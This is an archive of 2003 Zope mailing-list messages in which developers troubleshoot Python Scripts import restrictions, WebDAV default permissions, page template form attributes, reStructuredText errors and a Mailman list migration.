ZopeLabs (I didn't know about them until you sent the links above), and found 'get Root Object', cookbook recipe #994090604. That should do the trick. Thanks! -roy Content-Type: text/plain; charset="iso-8859-1" ------------------------------------------------- PLEASE READ THIS WARNING: All e-mail sent to or from this address will be received or otherwise recorded by the Fisher Investments corporate e-mail system and is subject to archival, monitoring or review by, and/or disclosure to, someone other than the recipient. From dtrahan@cfl.rr.com Wed Aug 6 19:23:46 2003 From: dtrahan@cfl.rr.com (Jack Daniel) Date: Wed, 6 Aug 2003 14:23:46 -0400 Subject: [Zope] importing poplib: unauthorized Message-ID: <200308061423.46315.dtrahan@cfl.rr.com> I have a server side Python script in which I want to use the poplib modu= le.=20 When access this script though cgi it crashes with the following error: Error Type: ImportError Error Value: import of "poplib" is unauthorized =20 Zope won't let me import the module! Any idea on how I would go about fix= ing=20 this? I assume it has something to do with the files permissions but I'm=20 still stuck. Why is this "unauthorized"? --Jack Daniel From Jean-Francois.Doyon@CCRS.NRCan.gc.ca Wed Aug 6 19:23:11 2003 From: Jean-Francois.Doyon@CCRS.NRCan.gc.ca (Jean-Francois.Doyon@CCRS.NRCan.gc.ca) Date: Wed, 6 Aug 2003 14:23:11 -0400 Subject: [Zope] importing poplib: unauthorized Message-ID: <7CDD7B94357FD5119E800002A537C46E230920@s5-ccr-r1.ccrs.nrcan.gc.ca> Jack, Have a look at: lib/python/Products/PythonScripts/README.txt It's all explained in there ... J.F. -----Original Message----- From: Jack Daniel [mailto:dtrahan@cfl.rr.com] Sent: Wednesday, August 06, 2003 2:24 PM To: zope@zope.org Subject: [Zope] importing poplib: unauthorized I have a server side Python script in which I want to use the poplib module. When access this script though cgi it crashes with the following error: Error Type: ImportError Error Value: import of "poplib" is unauthorized Zope won't let me import the module! Any idea on how I would go about fixing this? I assume it has something to do with the files permissions but I'm still stuck. Why is this "unauthorized"? --Jack Daniel _______________________________________________ Zope maillist - Zope@zope.org http://mail.zope.org/mailman/listinfo/zope ** No cross posts or HTML encoding! ** (Related lists - http://mail.zope.org/mailman/listinfo/zope-announce http://mail.zope.org/mailman/listinfo/zope-dev ) From Andreas Jung Wed Aug 6 19:25:40 2003 From: Andreas Jung (Andreas Jung) Date: Wed, 06 Aug 2003 20:25:40 +0200 Subject: [Zope] importing poplib: unauthorized In-Reply-To: <200308061423.46315.dtrahan@cfl.rr.com> References: <200308061423.46315.dtrahan@cfl.rr.com> Message-ID: <2147483647.1060201540@[192.168.0.100]> This is a FAQ: see PythonScript/README.txt -aj --On Mittwoch, 6. August 2003 14:23 Uhr -0400 Jack Daniel wrote: > I have a server side Python script in which I want to use the poplib > module. When access this script though cgi it crashes with the following > error: > > Error Type: ImportError > Error Value: import of "poplib" is unauthorized > > Zope won't let me import the module! Any idea on how I would go about > fixing this? I assume it has something to do with the files permissions > but I'm still stuck. Why is this "unauthorized"? > > --Jack Daniel > > _______________________________________________ > Zope maillist - Zope@zope.org > http://mail.zope.org/mailman/listinfo/zope > ** No cross posts or HTML encoding! ** > (Related lists - > http://mail.zope.org/mailman/listinfo/zope-announce > http://mail.zope.org/mailman/listinfo/zope-dev ) From carsten@gehling.dk Wed Aug 6 19:37:46 2003 From: carsten@gehling.dk (Carsten Gehling) Date: Wed, 6 Aug 2003 20:37:46 +0200 Subject: SV: [Zope] Strip all HTML In-Reply-To: <3F30E6BE.6070208@nipltd.com> Message-ID: > -----Oprindelig meddelelse----- > Fra: zope-admin@zope.org [mailto:zope-admin@zope.org]Pa vegne af Chris > Withers > Sendt: 6. august 2003 13:30 > > ken@practical.org wrote: > > > However this converter, like the others I have tried > (Strip-o-Gram, as well as an external method based on > striphtml.py), seem unable to remove the content of > or tags. So I get plenty of > hits with a search for 'children' or 'window' or 'background'... > > I beg to differ: > > Python 2.2.2 (#37, Oct 14 2002, 17:02:34) [MSC 32 bit (Intel)] on win32 > Type "help", "copyright", "credits" or "license" for more information. > >>> from stripogram import html2text > >>> html = "seem unable to remove the content of > or " > >>> html2text(html) > 'seem unable to remove the content of stuff or more stuff' > >>> > > How are you using stripogram? Your own example shows that stripogram does NOT remove the content between and . What ken wants, is the result (of your example) to look like this: 'seem unable to remove the content of or' - Carsten From missive@hotmail.com Wed Aug 6 19:38:05 2003 From: missive@hotmail.com (Lee Harr) Date: Wed, 06 Aug 2003 18:38:05 +0000 Subject: [Zope] webdav access defaults to anonymous? Message-ID: Hi; I am starting to learn about webdav, so I downloaded the cadaver client and out of curiousity pointed it at my zope server. I was a bit surprised (!) to find that I could wander around in there getting listings of all of the directories... There is a setting for "WebDAV Access" which was marked "Anonymous" and which I am sure I never changed. Should this default to manager only? _________________________________________________________________ Add photos to your messages with MSN 8. Get 2 months FREE*. http://join.msn.com/?page=features/featuredemail From carsten@sarum.dk Wed Aug 6 19:46:40 2003 From: carsten@sarum.dk (Carsten Gehling) Date: Wed, 6 Aug 2003 20:46:40 +0200 Subject: [Zope] callback function when object is deleted Message-ID: I'm writing a product where users can maintain information about electronic equipment. I've made a class called eg. "Equipment", and an instance is created for each piece of equipment the user has. The user can also make a maintainance log entry for each instance. These log entries are stored in an external databases. If the user deletes an equipment object through the ZMI, I'd like the object to set a "deleted" flag on each log entry beforehand. Similar, if the deletion is undone, the object should remove the "deleted" flag. I suspect that this should be done through some inherited method from the Zope superclasses that is called by the ZMI, but which? - Carsten From Andreas Jung Wed Aug 6 19:54:08 2003 From: Andreas Jung (Andreas Jung) Date: Wed, 06 Aug 2003 20:54:08 +0200 Subject: [Zope] webdav access defaults to anonymous? In-Reply-To: References: Message-ID: <2147483647.1060203248@[192.168.0.100]> this is changed in 2.7 -aj --On Mittwoch, 6. August 2003 18:38 Uhr +0000 Lee Harr wrote: > Hi; > > I am starting to learn about webdav, so I downloaded the cadaver > client and out of curiousity pointed it at my zope server. I was a > bit surprised (!) to find that I could wander around in there getting > listings of all of the directories... > > There is a setting for "WebDAV Access" which was marked "Anonymous" > and which I am sure I never changed. > > Should this default to manager only? > > _________________________________________________________________ > Add photos to your messages with MSN 8. Get 2 months FREE*. > http://join.msn.com/?page=features/featuredemail > > > _______________________________________________ > Zope maillist - Zope@zope.org > http://mail.zope.org/mailman/listinfo/zope > ** No cross posts or HTML encoding! ** > (Related lists - http://mail.zope.org/mailman/listinfo/zope-announce > http://mail.zope.org/mailman/listinfo/zope-dev ) From maxm@mxm.dk Wed Aug 6 19:59:25 2003 From: maxm@mxm.dk (Max M) Date: Wed, 06 Aug 2003 20:59:25 +0200 Subject: [Zope] callback function when object is deleted In-Reply-To: References: Message-ID: <3F31500D.4000105@mxm.dk> Carsten Gehling wrote: > If the user deletes an equipment object through the ZMI, I'd like the object > to set a "deleted" flag on each log entry beforehand. Similar, if the > deletion is undone, the object should remove the "deleted" flag. The manage_beforeDelete() and manage_afterAdd() hooks migh be what you need. They are called by zope on any object being added or deleted respectively. Don't know what they do in regard to undo though! Beware that they are also called copy/paste operations. regards Max M From zope@dylanreinhardt.com Wed Aug 6 20:02:42 2003 From: zope@dylanreinhardt.com (Dylan Reinhardt) Date: 06 Aug 2003 12:02:42 -0700 Subject: [Zope] webdav access defaults to anonymous? In-Reply-To: References: Message-ID: <1060196562.16994.25.camel@ida.dylanreinhardt.com> On Wed, 2003-08-06 at 11:38, Lee Harr wrote: > There is a setting for "WebDAV Access" which was marked "Anonymous" > and which I am sure I never changed. That's the default setting. Shouldn't be, probably, but it is. > > Should this default to manager only? It should be set according to how you want WebDAV to work. At a minimum, I'd restrict it to Authenticated unless you're running a public file server. It's a good idea to take a close look at your other security settings too. There are a couple other default settings (like "Access contents information") that may be more permissive than you might expect. HTH / IMO, Dylan From js@aixtraware.de Wed Aug 6 20:15:42 2003 From: js@aixtraware.de (Joachim Schmitz) Date: Wed, 06 Aug 2003 21:15:42 +0200 Subject: [Zope] where has the mailman for this list gone ? Message-ID: <3F3153DE.1020002@aixtraware.de> I just wanted to disable my delivery for a while, but the list=20 administration for this list is gone mail.zope.org Mailing Lists says "No such list zope" --=20 Mit freundlichen Gr=FC=DFen Joachim Schmitz -------------------------------------------------------------------- AixtraWare Ingenieurb=FCro f=FCr Internetanwendungen Telefon: +49-2464-8851, FAX: +49-2464-905163 -------------------------------------------------------------------- From alec.munro@eoascientific.com Wed Aug 6 20:20:39 2003 From: alec.munro@eoascientific.com (Alec Munro) Date: Wed, 06 Aug 2003 16:20:39 -0300 Subject: [Zope] Errors reStructuredText under 2.7 Message-ID: <3F315507.7000102@eoascientific.com> Hi List, This happens whenever I try to add a reStructuredText document in the ZMI, and also whenever I try to render a page template containing a call to ReST. I get the following Zope Error: *Error Type: AttributeError* *Error Value: 'module' object has no attribute 'TitledHelpFormatter' Is this a known issue, or specific to my installation? Thanks, Alec Munro * From Andreas Jung Wed Aug 6 20:23:02 2003 From: Andreas Jung (Andreas Jung) Date: Wed, 06 Aug 2003 21:23:02 +0200 Subject: [Zope] Errors reStructuredText under 2.7 In-Reply-To: <3F315507.7000102@eoascientific.com> References: <3F315507.7000102@eoascientific.com> Message-ID: <2147483647.1060204982@[192.168.0.100]> Please file a collector issue *with* a description how to reproduce it. -aj --On Mittwoch, 6. August 2003 16:20 Uhr -0300 Alec Munro wrote: > Hi List, > > This happens whenever I try to add a reStructuredText document in the > ZMI, and also whenever I try to render a page template containing a call > to ReST. > > I get the following Zope Error: > > *Error Type: AttributeError* > *Error Value: 'module' object has no attribute 'TitledHelpFormatter' > > Is this a known issue, or specific to my installation? > > Thanks, > > Alec Munro > * > > > > _______________________________________________ > Zope maillist - Zope@zope.org > http://mail.zope.org/mailman/listinfo/zope > ** No cross posts or HTML encoding! ** > (Related lists - http://mail.zope.org/mailman/listinfo/zope-announce > http://mail.zope.org/mailman/listinfo/zope-dev ) From jccooper@jcameroncooper.com Wed Aug 6 20:23:12 2003 From: jccooper@jcameroncooper.com (J Cameron Cooper) Date: Wed, 06 Aug 2003 14:23:12 -0500 Subject: [Zope] Reinstall system for use with Zope In-Reply-To: References: Message-ID: <3F3155A0.4070105@jcameroncooper.com> > > >2. Also I'm thinking of installing Zope 2.6.1 or 2.6.2b5 in stead of 2.5.1. > The 2.6.1 upgrade is good. If you have an old ZODB (like from around 2.3) there's a chance you will experience problems. I did. Others haven't. You'll find out real fast, in any case. Dunno about 2.6.2x in this respect. I would go ahead with 2.6.2b5. It is very likely to be exactly the same as the eventual 2.6.2, and, if not, will be a very trivial upgrade. When it comes to maintenance releases, one should not be afraid to be on the ball. --jcc -- "My point and period will be throughly wrought, Or well or ill, as this day's battle's fought." From jccooper@jcameroncooper.com Wed Aug 6 20:40:46 2003 From: jccooper@jcameroncooper.com (J Cameron Cooper) Date: Wed, 06 Aug 2003 14:40:46 -0500 Subject: [Zope] FQ Path Names in container In-Reply-To: <9529EF5D791B794DB3CFAE1635F0805B0CA94803@email.fi.com> References: <9529EF5D791B794DB3CFAE1635F0805B0CA94803@email.fi.com> Message-ID: <3F3159BE.7010407@jcameroncooper.com> > > >I have no problem accessing a given file, even if it has a .extension; my >problem is trying to figure out how to do traversal and require it to be >from the root folder, rather starting at the current directory. In other >words, yes, I can do this: >container.restrictedTraverse('A/B/C.pdf') >But what I want to be able to do is: >container.restrictedTraverse('/A/B/C.pdf'). Note the leading '/' before 'A' > > restrictedTraverse can deal with relative and absolute paths. You can check out how it is done in http://cvs.zope.org/Zope/lib/python/OFS/Traversable.py?rev=HEAD&content-type=text/vnd.viewcvs-markup >And, err, 'nevermind' -- I figured I might as well trawl ZopeLabs (I didn't >know about them until you sent the links above), and found 'get Root >Object', cookbook recipe #994090604. That should do the trick. > > That recipe can also be written like obj.restrictedTraverse("/") since the path can be a Unixish path or a list/tuple of strings. (It even knows that '..' is 'parent of'.) --jcc -- "My point and period will be throughly wrought, Or well or ill, as this day's battle's fought." From mj@zope.com Wed Aug 6 20:44:48 2003 From: mj@zope.com (Martijn Pieters) Date: Wed, 6 Aug 2003 15:44:48 -0400 Subject: [Zope] where has the mailman for this list gone ? In-Reply-To: <3F3153DE.1020002@aixtraware.de> References: <3F3153DE.1020002@aixtraware.de> Message-ID: <20030806194448.GL24067@zope.com> On Wed, Aug 06, 2003 at 09:15:42PM +0200, Joachim Schmitz wrote: > I just wanted to disable my delivery for a while, but the list > administration for this list is gone > mail.zope.org Mailing Lists says > > "No such list zope" Unfortunately, the volunteer effort to move all @zope.org and @python.org lists to a new mailman version could not move the zope@zope.org list the first time round, and there has been no time available yet to finish the move. This means that the new version of Mailman doesn't know about the list yet; it is still under control of the old version. However, as long as you know your password still, you can use the email interface to mailman to change options. Just send an email with the subject 'help' to zope-request@zope.org and follow the instructions in the reply. If you do no longer know your password, I am looking into what options you have then; the email interface doesn't appear to have an option to send the password out like the web interface does. Sorry for the inconvenience! -- Martijn Pieters | Software Engineer mailto:mj@zope.com | Zope Corporation http://www.zope.com/ | Creators of Zope http://www.zope.org/ --------------------------------------------- From mj at zope.com Wed Aug 6 17:33:16 2003 From: mj at zope.com (Martijn Pieters) Date: Wed Aug 6 16:34:18 2003 Subject: [Zope] where has the mailman for this list gone ? In-Reply-To: <1060201456.16999.107.camel@ida.dylanreinhardt.com> References: <3F3153DE.1020002@aixtraware.de> <20030806194448.GL24067@zope.com> <1060201456.16999.107.camel@ida.dylanreinhardt.com> Message-ID: <20030806203309.GQ24067@zope.com> On Wed, Aug 06, 2003 at 01:24:16PM -0700, Dylan Reinhardt wrote: > One quick fix could be to create a subdomain (oldmail) that points to > the server that *is* running this list. Once that's done, configure the > old Mailman to use this subdomain and the management links in the list > footer should work correctly again. The list is being converted as we speak. -- Martijn Pieters | Software Engineer mailto:mj@zope.com | Zope Corporation http://www.zope.com/ | Creators of Zope http://www.zope.org/ --------------------------------------------- From zope at dylanreinhardt.com Wed Aug 6 21:39:26 2003 From: zope at dylanreinhardt.com (Dylan Reinhardt) Date: Wed Aug 6 16:39:28 2003 Subject: [Zope] where has the mailman for this list gone ? In-Reply-To: <20030806194448.GL24067@zope.com> References: <3F3153DE.1020002@aixtraware.de> <20030806194448.GL24067@zope.com> Message-ID: <1060201456.16999.107.camel@ida.dylanreinhardt.com> On Wed, 2003-08-06 at 12:44, Martijn Pieters wrote: > Unfortunately, the volunteer effort to move all @zope.org and @python.org > lists to a new mailman version could not move the zope@zope.org list the > first time round, and there has been no time available yet to finish the > move. One quick fix could be to create a subdomain (oldmail) that points to the server that *is* running this list. Once that's done, configure the old Mailman to use this subdomain and the management links in the list footer should work correctly again. FWIW, Dylan From john at academiccolab.org Wed Aug 6 16:04:20 2003 From: john at academiccolab.org (John Toews) Date: Wed Aug 6 16:53:40 2003 Subject: [Zope] Berkeley database question Message-ID: <8D0E60044699BB499447ED91DA3F3E2F07732C@rp150.uwsa.edu> Does anyone use Berkeley DB with Python & Zope? I am wondering if it is possible to maintain a persistent database connection? (for those that don't know, BDB uses a file on the drive as the database, so normally you open & close that file during runtime) Thanks, John Toews From mj at zope.com Wed Aug 6 18:00:27 2003 From: mj at zope.com (Martijn Pieters) Date: Wed Aug 6 17:01:14 2003 Subject: [Zope] where has the mailman for this list gone ? In-Reply-To: <20030806203309.GQ24067@zope.com> References: <3F3153DE.1020002@aixtraware.de> <20030806194448.GL24067@zope.com> <1060201456.16999.107.camel@ida.dylanreinhardt.com> <20030806203309.GQ24067@zope.com> Message-ID: <20030806210027.GU24067@zope.com> On Wed, Aug 06, 2003 at 04:33:16PM -0400, Martijn Pieters wrote: > The list is being converted as we speak. Migration completed! -- Martijn Pieters | Software Engineer mailto:mj@zope.com | Zope Corporation http://www.zope.com/ | Creators of Zope http://www.zope.org/ --------------------------------------------- From jamie at audible.transient.net Wed Aug 6 15:06:49 2003 From: jamie at audible.transient.net (Jamie Heilman) Date: Wed Aug 6 17:07:41 2003 Subject: [Zope] CacheManager missing in 2.6.2b4 :-( In-Reply-To: <3F30E8BF.9070809@nipltd.com> References: <3F2F97BC.2030008@nipltd.com> <20030805115333.GA22389@audible.transient.net> <3F2FC5EB.1090101@nipltd.com> <20030805212950.GC22389@audible.transient.net> <3F30E8BF.9070809@nipltd.com> Message-ID: <20030806210649.GE22389@audible.transient.net> Chris Withers wrote: > Jamie Heilman wrote: > > >any zope list archive (though marc appears to be up for me) > >subject is "caching in zope; tips, tricks, & lessons learned" > >a google search on the phrase will give you a good number of options > > Had a look, wow, that does suck :-( > > What's the best way we can fix the problems you describe? That depends on the cache replacement policy you need. If you're not tied to LFU then you can just switch to using my MemoryCache product. (With all the various caveats surrounding it, of course, python 2.2, patching Zope, etc.) I designed it so I could work around all those issues. Another alternative is to track down exactly why PageTemplate hands cache managers those dictionaries, I'm not convinced the reasons are rooted in sensibility, but I haven't researched it in depth. As far as RAM Cache Manager just generally being wasteful with memory, well thats just a design choice, I don't expect it will change. -- Jamie Heilman http://audible.transient.net/~jamie/ "Most people wouldn't know music if it came up and bit them on the ass." -Frank Zappa From chris at chrisbruce.com Wed Aug 6 15:17:53 2003 From: chris at chrisbruce.com (Chris Bruce) Date: Wed Aug 6 18:03:10 2003 Subject: [Zope] Using ZPT with options/radio/checkboxes Message-ID: <007301c35c60$33908170$1a6fa8c0@CBTHINKPAD> Is there an easy way to use TAL/TALES to set the checked values of radios and checkboxes and the selected attribute of options? I am trying to find a clean example. For Instance: If the question_type was in the REQUEST object, how would I evaluate which one was selected? Same goes for radio buttons: Yes No and the 'required' was in the REQUEST object. I am trying to do this using TAL/TALES only. Thanks for any suggestions/code samples. Chris Chris Bruce Bionic Pixels LLC www.bionicpixels.com 323-660-8444 323-650-9926 fax 964 1/2 N. Vermont Ave. Los Angeles, CA 90029 -------------- next part -------------- An HTML attachment was scrubbed... URL: http://lists.zope.org/pipermail/zope/attachments/20030806/b66cd799/attachment.htm From maillist at baseBeans.com Wed Aug 6 19:49:29 2003 From: maillist at baseBeans.com (Vic Cekvenich) Date: Wed Aug 6 18:50:11 2003 Subject: [Zope] : Java Based Open Source Portal Message-ID: <000f01c35c6c$fea0cbc0$6400a8c0@sony2> From: Vic Cekvenich To: zope@zope.org Sent: Wednesday, August 06, 2003 6:18 PM Subject: Java Based Open Source Portal Here is another Java open source Portal/CMS built w/ Struts: http://basebeans.com/do/newsBlgCmntsLstPg?ID=14 Download here: https://sourceforge.net/project/showfiles.php?group_id=55539&release_id=176249 Support/training is available. .V -------------- next part -------------- An HTML attachment was scrubbed... URL: http://lists.zope.org/pipermail/zope/attachments/20030806/99945325/attachment.htm From cyhoong at pc.jaring.my Thu Aug 7 11:28:26 2003 From: cyhoong at pc.jaring.my (Chan YH) Date: Wed Aug 6 22:31:11 2003 Subject: [Zope] Batch Update/Insert Problem Message-ID: <001901c35c8b$e9d5fa70$6c7e063d@amphora> I phrased my question wrongly in my previous email and wished to thanks those who replied. I am trying to insert/update a table in a batch mode. The coding below is a simplified version. What I wanted to do is to INSERT/UPDATE a table (contact ) in a BATCH mode. The user will see a form listing (company) and select the option from table (person). Upon completion, the user a submit the matched listing to be inserted in another table (contact). I need some help in doing this in a BATCH mode. For e.g. if I have 10 companies with the selected persons in a batch to be inserted into contact table. Company name Person (company table) (person table) ---------------- -------- 1. company A Chan 2. company B Henry ... 10. company X Robert insert/update batch to contact table. Could someone give me some guidance? TQ Data Entry Form ============

Company:
SQL methods ========== listCompany_sql ----------------- select * from company listPerson_sql ------------- select * from person CREATE TABLE contact ( first_name char(20), last_name char(20), co_name char(20), co_phone char(20) ); CREATE TABLE person ( name_id int PRIMARY KEY, first_name char(20), last_name char(20) ); CREATE TABLE company ( co_id int PRIMARY KEY, co_name char(20), co_phone char(20) ); From pparkkin at cc.jyu.fi Thu Aug 7 07:25:21 2003 From: pparkkin at cc.jyu.fi (Paavo Parkkinen) Date: Wed Aug 6 23:25:30 2003 Subject: [Zope] Using ZPT with options/radio/checkboxes In-Reply-To: <007301c35c60$33908170$1a6fa8c0@CBTHINKPAD> References: <007301c35c60$33908170$1a6fa8c0@CBTHINKPAD> Message-ID: <20030807032521.GA8178@verso.st.jyu.fi> On ke, 06.08.2003 at 14:17 -0700, Chris Bruce wrote: > For Instance: > > > > If the question_type was in the REQUEST object, how would I evaluate which one was selected? > > Same goes for radio buttons: > Yes > No > > and the 'required' was in the REQUEST object. Yes No Yes No -- paavo. "How convenient for you then that others have to work in a sweatshop so that you won't have to be poor..." From edwardam at interlix.com Thu Aug 7 00:06:22 2003 From: edwardam at interlix.com (Edward Muller) Date: Thu Aug 7 00:07:02 2003 Subject: [Zope] zope.org - The Zope Book Link Broken Message-ID: <1060229182.30959.85.camel@palin.> clicking on the Documentation -> The Zope Book link on the nav on the left side gives a 'IndexError : string index out of range' error. -- Edward Muller Interlix (http://www.interlix.com) Phone: 417-862-0573 - Cell: 417-844-2435 - Fax: 417-862-0572 Web Hosting - PC Service & Support - Custom Programming - Network Service & Support Specializing in Open Source Solutions -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 189 bytes Desc: This is a digitally signed message part Url : http://lists.zope.org/pipermail/zope/attachments/20030806/37314405/attachment.bin From edwardam at interlix.com Thu Aug 7 00:19:51 2003 From: edwardam at interlix.com (Edward Muller) Date: Thu Aug 7 00:20:30 2003 Subject: [Zope] zope.org - The Zope Book Link Broken In-Reply-To: <1060229182.30959.85.camel@palin.> References: <1060229182.30959.85.camel@palin.> Message-ID: <1060229991.30959.88.camel@palin.> Sorry ... the book index itself isn't broken it's the chapter on Advanced Page Templates the generated the error message (http://zope.org/Documentation/Books/ZopeBook/current/AdvZPT.stx). On Wed, 2003-08-06 at 23:06, Edward Muller wrote: > clicking on the Documentation -> The Zope Book link on the nav on the > left side gives a 'IndexError : string index out of range' error. -- Edward Muller Interlix (http://www.interlix.com) Phone: 417-862-0573 - Cell: 417-844-2435 - Fax: 417-862-0572 Web Hosting - PC Service & Support - Custom Programming - Network Service & Support Specializing in Open Source Solutions -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 189 bytes Desc: This is a digitally signed message part Url : http://lists.zope.org/pipermail/zope/attachments/20030806/5ba201f5/attachment.bin From ashish.thapliyal at itpreneurs.com Thu Aug 7 11:39:17 2003 From: ashish.thapliyal at itpreneurs.com (Ashish Thapliyal) Date: Thu Aug 7 01:07:20 2003 Subject: [Zope] Oracle zope-python Adapter for windows Message-ID: Dear All Does anyone having information about binaries for oracle zope adapter for python 2.2 or higher , the one i got is for python 1.5 .Thanks in Advance Regards Ashish From rbickers-expires-1060839764.872734 at logicetc.com Thu Aug 7 02:42:12 2003 From: rbickers-expires-1060839764.872734 at logicetc.com (Ron Bickers) Date: Thu Aug 7 01:42:52 2003 Subject: [Zope] Using ZPT with options/radio/checkboxes In-Reply-To: <007301c35c60$33908170$1a6fa8c0@CBTHINKPAD> Message-ID: <003501c35ca6$a67444b0$0a00a8c0@logicetc.com> > -----Original Message----- > From: zope-bounces@zope.org [mailto:zope-bounces@zope.org]On Behalf Of > Chris Bruce > Is there an easy way to use TAL/TALES to set the checked values > of radios and checkboxes and the selected attribute of options? > > > If the question_type was in the REQUEST object, how would I > evaluate which one was selected? If you have the option values in a list, you can "repeat" through them, filling in the blanks. Otherwise, you'll need to put the tal:attributes in each option tag. The "| nothing" is to fail gracefully if question_type happens to not be in REQUEST. > Same goes for radio buttons: > Yes > No > > and the 'required' was in the REQUEST object. Yes No This will work for checkboxes too. The "| nothing" is especially important for checkboxes, since a checkbox variable is only set if it's checked. If it's unchecked, it's left out of REQUEST altogether. Hope this helps. _______________________ Ron Bickers Logic Etc, Inc. From rbickers-expires-1060840807.1b24c7 at logicetc.com Thu Aug 7 02:59:34 2003 From: rbickers-expires-1060840807.1b24c7 at logicetc.com (Ron Bickers) Date: Thu Aug 7 02:00:12 2003 Subject: [Zope] Using ZPT with options/radio/checkboxes In-Reply-To: <003501c35ca6$a67444b0$0a00a8c0@logicetc.com> Message-ID: <003a01c35ca9$13ad2a90$0a00a8c0@logicetc.com> > -----Original Message----- > From: zope-bounces@zope.org [mailto:zope-bounces@zope.org]On Behalf Of > Ron Bickers > Yes > No As a follow up to this for checkboxes... The following should work even though it doesn't test the value, since (as I mentioned) checkboxes will only be there if they're checked. If you have a :list of checkboxes, you could use the following: see doc/RESTRUCTUREDTEXT.txt > > -aj > > --On Mittwoch, 6. August 2003 14:57 Uhr -0300 Alec Munro > wrote: > > > Hi List, > > I'm wondering if there's a way to use restructuredText functionality from > > within a page template or python script? For example, I am storing > > information in a mysql database. A fair amount of this information could > > do with the ability to be formatted. I am hoping I can utilize > > restructuredText for this. I provide a through-the-web interface for > > editing this content, and I would like to teach my boss + coworkers > > simple ReST syntax, so they can edit it themselves. I would then like the > > either store it as is, and transform it when accessed, or transform it > > immeadiatly after editing, and store it that way. So a function from > > python that would convert ReST to HTML would really do the trick. Thanks, > > > > Alec Munro > > > > > > > > _______________________________________________ > > Zope maillist - Zope@zope.org > > http://mail.zope.org/mailman/listinfo/zope > > ** No cross posts or HTML encoding! ** > > (Related lists - http://mail.zope.org/mailman/listinfo/zope-announce > > http://mail.zope.org/mailman/listinfo/zope-dev ) > > > > > > _______________________________________________ > Zope maillist - Zope@zope.org > http://mail.zope.org/mailman/listinfo/zope > ** No cross posts or HTML encoding! ** > (Related lists - > http://mail.zope.org/mailman/listinfo/zope-announce > http://mail.zope.org/mailman/listinfo/zope-dev ) > From andreas at andreas-jung.com Thu Aug 7 11:30:29 2003 From: andreas at andreas-jung.com (Andreas Jung) Date: Thu Aug 7 04:30:31 2003 Subject: [Zope] Using ZReST in page templates or python scripts In-Reply-To: References: Message-ID: <2147483647.1060252229@[192.168.0.100]> There is also a 2.6 backport of REST available on zope.org. -aj --On Donnerstag, 7. August 2003 9:23 Uhr +0100 Steven Hayles wrote: > > I think that file's only in ZOPE 2.7 which is still at beta 1. > > "Zope 2.7 or higher integrates reST as part of the Python > docutils package." > > Steven > > On Wed, 6 Aug 2003, Andreas Jung wrote: > >> see doc/RESTRUCTUREDTEXT.txt >> >> -aj >> >> --On Mittwoch, 6. August 2003 14:57 Uhr -0300 Alec Munro >> wrote: >> >> > Hi List, >> > I'm wondering if there's a way to use restructuredText functionality >> > from within a page template or python script? For example, I am storing >> > information in a mysql database. A fair amount of this information >> > could do with the ability to be formatted. I am hoping I can utilize >> > restructuredText for this. I provide a through-the-web interface for >> > editing this content, and I would like to teach my boss + coworkers >> > simple ReST syntax, so they can edit it themselves. I would then like >> > the either store it as is, and transform it when accessed, or >> > transform it immeadiatly after editing, and store it that way. So a >> > function from python that would convert ReST to HTML would really do >> > the trick. Thanks, >> > >> > Alec Munro >> > >> > >> > >> > _______________________________________________ >> > Zope maillist - Zope@zope.org >> > http://mail.zope.org/mailman/listinfo/zope >> > ** No cross posts or HTML encoding! ** >> > (Related lists - http://mail.zope.org/mailman/listinfo/zope-announce >> > http://mail.zope.org/mailman/listinfo/zope-dev ) >> >> >> >> >> >> _______________________________________________ >> Zope maillist - Zope@zope.org >> http://mail.zope.org/mailman/listinfo/zope >> ** No cross posts or HTML encoding! ** >> (Related lists - >> http://mail.zope.org/mailman/listinfo/zope-announce >> http://mail.zope.org/mailman/listinfo/zope-dev ) >> > > > _______________________________________________ > Zope maillist - Zope@zope.org > http://mail.zope.org/mailman/listinfo/zope > ** No cross posts or HTML encoding! ** > (Related lists - > http://mail.zope.org/mailman/listinfo/zope-announce > http://mail.zope.org/mailman/listinfo/zope-dev ) From lukesh at seznam.cz Thu Aug 7 11:46:10 2003 From: lukesh at seznam.cz (Jaroslav Lukesh) Date: Thu Aug 7 04:53:35 2003 Subject: [Zope] editing exported XML objects Message-ID: <3F269CE0001E2155@stateless1.tiscali.cz> (added by postmaster@mail.tiscali.cz) Hi all, does somebody have tips how is organized exported data as XML? I want change some values into XML exported data to repair references in portableHole product (what is impossible to import without these changes). Many thanks, J. Lukesh From elena.schulz at gmx.net Thu Aug 7 12:19:50 2003 From: elena.schulz at gmx.net (Elena Schulz) Date: Thu Aug 7 05:25:25 2003 Subject: [Zope] sql_quote in dtml-var in zsql-Methods Message-ID: <000301c35cc5$cc884060$010aa8c0@PCA> Hi, does anybody know the difference of and ? Does sql_quote have any effects, cause I couldn't see any? -- Elena From elena.schulz at gmx.net Thu Aug 7 12:15:57 2003 From: elena.schulz at gmx.net (Elena Schulz) Date: Thu Aug 7 05:25:30 2003 Subject: [Zope] how to generically get a list of tables and columns from a db connector Message-ID: <000201c35cc5$cbe067a0$010aa8c0@PCA> Hi, the browse-tab of db connectors offer a listing of tables and columns. How can I access this in python script independent of the db connection(without a sql-query or zsql_method). In the class db.py under class db there is a tables() and columns() method but I didn't find a way of accessing them in a script yet. Also a query() method should be possible to circumvent zsql-Methods more flexibly? Does anybody know the how to? -- Elena From michael at bleijerveld.nl Thu Aug 7 12:46:13 2003 From: michael at bleijerveld.nl (Michael Bleijerveld) Date: Thu Aug 7 05:46:12 2003 Subject: [Zope] button in ZPT Message-ID: <19b801c35cc8$bd6dcc50$9700000a@MICHAEL> Instead of a textlink I want to use a button (form) as a replacement for the following statements. Has anyone suggestions ? previous Regards. Michael From thierry.florac at onf.fr Thu Aug 7 12:46:35 2003 From: thierry.florac at onf.fr (Thierry Florac) Date: Thu Aug 7 05:47:16 2003 Subject: [Zope] Duplicated keys in a BTreeFolder2 In-Reply-To: <2147483647.1060251680@[192.168.0.100]> References: <200308071011.22173.thierry.florac@onf.fr> <2147483647.1060251680@[192.168.0.100]> Message-ID: <200308071146.35754.thierry.florac@onf.fr> On Thursday 07 August 2003 10:21, Andreas Jung wrote: > --On Donnerstag, 7. August 2003 10:11 Uhr +0200 Thierry Florac > > wrote: > > Hi, > > > > I currently use a custom subclass of BTreeFolder2 to store my site's > > users profiles (currently 3700). > > > > I've noticed several problems : > > - several keys (= user ids) are duplicated in this folder ; in the ZMI, > > these duplicated keys appear at the start of the list, unordered. > > - some keys are 